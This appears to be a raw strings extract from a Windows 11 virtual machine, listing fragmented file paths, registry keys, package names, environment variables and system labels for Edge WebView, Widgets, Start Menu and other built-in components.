machine.pckgdep LOG1 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe\Assets\FeedbackHubAppList.targetsize-32_altform-lightunplated.png \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Subresource Filter\Indexed Rules ring \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\manifest.json 000001.db Dashboard \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\resources.pri:WofCompressedData ry_Search \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_3 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_3 \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.IrisService.AppX0rx4escc2mj6hvn679j52gzahqw4y7qg.mca \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\data_0 blic \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat \Registry\WC\Siloe8c00ed1-9faf-d816-d6cb-ab5d1d814ad0software\??\C:\ProgramData\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\81d060ca2aba6fa4.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\GrShaderCache\data_1 machine.pckgdep \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\LocalState\start2.bin \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\WidgetService.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\WidgetService.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\WidgetService.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\WidgetService.exe data_0 Credentials \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Cookies-journal MetaData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG2 WIN://SYSAPPID Clipchamp.Clipchamp_yxz26nhyzhsrt \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\data_3 TempState ers\job windir=C:\WINDOWS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db GameMRU \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\ActivationStore.dat \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\ActivationStore.dat NDOWS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db fe Browsing Network INetCache INetCookies \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\ShaderCache\data_3 h Dictionaries System.Xml.Linq \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata s\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\INetCookies\ESE\container.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Shared Dictionary\db \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\INetCookies\ESE\container.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\copilot_overlay_images_100_percent.pak nWebGPUCache\data_2 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\manifest.json ta\LevelDB \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\internal.identity_helper.exe.manifest ANIFEST-000017 windir=C:\WINDOWS \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\AC\INetCookies\ESE \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe\Assets\GameBar_AppList.targetsize-32_altform-unplated.png \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\Microsoft.Windows.Widgets.dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\Microsoft.Windows.Widgets.dll \Device\HarddiskVolume3\Windows\Prefetch\FILECOAUTH.EXE-F2EB91B6.pf \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\DawnWebGPUCache\data_2 Service-0x0-3e7$\Default Service-0x0-3e7$\Default index-dir SKHO LocalState \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy LocalState FeedSessions \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\WidgetSessions\Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartDailyDiscoveryWidgets \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db-wal IFIER=Intel64 Family 6 M Content \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\LOG.old roto_db\metadata\LOG 6ad5ea13}\WINDOWS\SYSTEM32\USERM cc23-6ad5ea13}\WINDOWS\GLOBALIZATION @\VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\GLOBALIZATION\S ')$&*'&))*($&%'&'&''#&*()&$))&'* Status video/avi image/x-jg Formats Topics System video/mpeg text/xml OLEsystem Protocols Microsoft Windows Production PCA 2011 True PopupMenuCommandInvoked.4124.4788 C:\WINDOWS\system32\midisrv.exe ImplicitShowHideComplete.4124.4788 False HasDeferredAnimationOperations.4124.4788 FacadeAnimationsComplete.4124.4788 BuildTreeServiceDrained.4124.4788 WIN://SYSAPPIDWI *//PKG BrushTransitionsComplete.4124.4788 MSCTF.CtfMonitorInstMutexDefault1 NetworkProfile-License-CostEnabled Save Change taskhostw.exe SyncFromCloud \Windows\System32\spool\drivers\x64\PCC ApplicationService:1a301dca56478b8cdcf Close ApplicationService:1f841dca5647ff102c0 MSDraw \ProgramData\Microsoft\Windows\LfSvc c03cf-9965-4ee7-b7a5-6e1e2b8 *2f2} c03cf-9965-4ee7-b7a5-6e1e2b8 *2f2} \ProgramData\Microsoft\Windows\PowerGrid //PKG \Windows\Downloaded Program Files SWD\MIDISRV\MIDIU_LOOP_TRANSPORT \Windows\SysWOW64\WindowsPowerShell \Windows\SoftwareDistribution\Download SettingsCommercialHomePage-Available \Program Files\Windows NT\Accessories ApplicationService:1b001dca56478df25fd f87} C: | Read: NonPaging, NonCached, Sync C: | Read: NonPaging, Cached, Sync C: | Write: NonPaging, Cached, Async C: | Read: Paging, NonCached, Async explorer-AlwaysShowRunAsDifferentUser C: | Write: NonPaging, NonCached, Async C: | Write: NonPaging, NonCached, Sync C: | Write: Paging, NonCached, Async C: | Write: Paging, NonCached, Sync C: | Write: NonPaging, Cached, Sync C: | Read: NonPaging, NonCached, Async C: | Read: NonPaging, Cached, Async C: | Read: Paging, NonCached, Sync ApplicationService:1ad41dca56478d07378 {2125BFBE-FD98-4CDB-B1E8-AE359408CB53} TXYEWY TXYEWY \Users\Default\AppData\Local\Microsoft //PKG //PKG TXYEWY C95} SWD\MIDISRV\MIDIU_DIAG_TRANSPORT SWD\MIDISRV\MIDIU_DIAG_TRANSPORT 90c} ApplicationService:1ec81dca5647f29a3d7 SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_A SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_B 80bef-1723-4ff2-bcc4-7f83dc5 Burn},3 PopupMenuCommandInvoked.7880.7916 ImplicitShowHideComplete.7880.7916 BuildTreeServiceDrained.7880.7916 BrushTransitionsComplete.7880.7916 FacadeAnimationsComplete.7880.7916 HasDeferredAnimationOperations.7880.7916 image/jpg image/png image/jpeg image/heic image/gif text/plain text/html image/webp StdExit audio/wav image/heif image/bmp image/tiff E.EX Service-0x0-3e7$\Default \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db-wal \ActivationStore.dat TriggerStarted osoft.WindowsStore_8wekyb3d8bbwe!AppD \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Extension State\LOG \CURRENT Taskbar.View.dll en-US.json \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\Microsoft.Windows.Widgets.winmd \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\SettingsSearchData\config.json ctivationStore.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Extension State\LOG G.old \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Sync Data\LevelDB\000020.log \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms ctivationStore.dat \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe\KnownGameListRS4.bin:WofCompressedData LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Extension State\LOG.old \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Cache\Cache_Data\index 86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Trust Protection Lists\Sigma\Analytics blic \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\FeedSessions\Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartFeed\af21c42d-5dae-454d-b699-df69fdd1ef8f.dat Service-0x0-3e7$\Default WIN://SYSAPPID Microsoft.ZuneMusic_8wekyb3d8bbwe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.DesktopSpotlight.AppXsbcwqry9q2amq0yycaave244ba1n1r0w.mca \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\discounts_db\LOG blic \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\ActivationStore.dat \Registry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0006 &0&C7 HDAUDIO\FUNC_01&VEN_15AD&D blic mskeyprotect.dll resources.pri \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG2 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\ActivationStore.dat iertutil.dll.mui \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\WidgetService\Microsoft.Windows.Widgets.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\WidgetSessions\Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartWeatherWidgets\eeac8ff4-d397-4fc0-ab67-5865cb8e09b2.dat \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\ActivationStore.dat \Registry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0005 MAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\Account\assets\strings\en-US.json ActivationStore.dat WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe FIER=Intel64 Family 6 Mo \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\ActivationStore.dat Service-0x0-3e7$\Default ShellComponents \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-100_cw5n1h2txyewy 2txyewy\ActivationStore.dat KnownGameList.bin \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\discounts_db\LOG =@@@@@@@@@@@@@@@ WofCompressedData WofCompressedData SM0:6588:120:WilError_03 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData lume4 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData Info WofCompressedData WofCompressedData ONSKU WofCompressedData WofCompressedData PPID SM0:1188:120:WilError_03 WofCompressedData PPID WofCompressedData WofCompressedData ONSKU WofCompressedData SearchCrawlScopeVersion WofCompressedData ONSKU WofCompressedData WofCompressedData WofCompressedData SM0:6516:120:WilError_03 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData LRPC-1eb994176b538be9a5 WofCompressedData WofCompressedData lume1 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData LRPC-9cf526c7f2e875a1e7 WofCompressedData WofCompressedData WofCompressedData 101cHWNDInterface:10226 WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData ONSKU WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData PPID WofCompressedData 101cHWNDInterface:100e0 WofCompressedData WofCompressedData WofCompressedData FveDecryptedVolumeFolder WofCompressedData \Windows\ShellComponents WofCompressedData WofCompressedData WofCompressedData lume3 WofCompressedData WofCompressedData WofCompressedData FAULT WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData Personalization-Enabled WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData PPID WofCompressedData lume3 WofCompressedData WofCompressedData lume3 WofCompressedData WofCompressedData WofCompressedData \Users\job\Contacts WofCompressedData \Users\job\FavoritesSKU WofCompressedData RefreshRA_Mutex_Lib \Users\job\Saved Games WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData WofCompressedData \REGISTRY\MACHINE WofCompressedData WofCompressedData \REGISTRY\MACHINE WofCompressedData WofCompressedData lume3 \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\AppExtension\com.microsoft.windows.widgets\S-1-5-21-3914889805-4071901059-918772286-1001\{7E8261A4-E997-47FB-8680-A8549F53A1D9} \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exeMicrosoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbweruntimebroker07f4358a809ac99a64a67c1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep e\SystemAppData\Helium\User.dat WsmRes.dll settings.dat.LOG1 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_en-US.pak iuilp.dll stobject.dll KnownGameList.bin PCPKsp.dll ngcpopkeysrv.dll WidgetService althService \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\81d060ca2aba6fa4.dat \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\SystemAppData\Helium\User.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index f8f.dat config.json \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB S-1-5-19 \Device\HarddiskVolume3\Windows\System32\svchost.exe Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.Internal.winmd \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll \Device\HarddiskVolume3\Windows\SysWOW64\cryptsp.dll ERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\Microsoft.Windows.Widgets.winmd winmd \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe\vcruntime140.dll:WofCompressedData \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exeMicrosoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbweMicrosoftStart ShellExperiences \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\Account\assets\strings\en-US.json:WofCompressedData USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a\comctl32.dll Data WidgetSessions \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\Public\wsxpacks\Account\SettingsExtensions.json:WofCompressedData \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\Microsoft.Windows.Widgets.winmd \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.Internal.winmd blic Account \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.winmd \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\LocalState\WidgetSessions\Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart!!MicrosoftStartDailyDiscoveryWidgets\197d05e3-0ee2-415c-b7de-8bc7338c2d50.dat \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.winmd winmd winmd blic \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri Syncreg.dll \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\Microsoft.Windows.Widgets.winmd en-US WIN://SYSAPPID Microsoft.StartExperiencesApp_8wekyb3d8bbwe .dat \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy\microsoft.system.package.metadata\S-1-5-21-3914889805-4071901059-918772286-1001-MergedResources-0.pri \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exeMicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewyruntimebroker07f4358a809ac99a64a67c1 \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exeMicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewyruntimebroker07f4358a809ac99a64a67c1 WIN://SYSAPPID Microsoft.StartExperiencesApp_8wekyb3d8bbwe .dat en-US en-US \Registry\WC\Silof4593ea5-87de-db06-313e-b59deeb5b394user_classes\??\C:\Users\job\AppData\Local\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat \Device\HarddiskVolume3\Windows\System32\cmd.exe C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat"" WIN://SYSAPPID MSTeams_8wekyb3d8bbwe f3fb \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft.YourPhone_8wekyb3d8bbwe sndvolsso.dll.mui LocalCache bcastdvr \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb\MANIFEST-000010 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\IndexedDB\https_www.bing.com_0.indexeddb.leveldb\MANIFEST-000010 ERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.WidgetsPlatformRuntime_1.6.14.0_x64__8wekyb3d8bbwe\Microsoft.Windows.Widgets.winmd winmd winmd \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db-shm \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db-shm pData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS 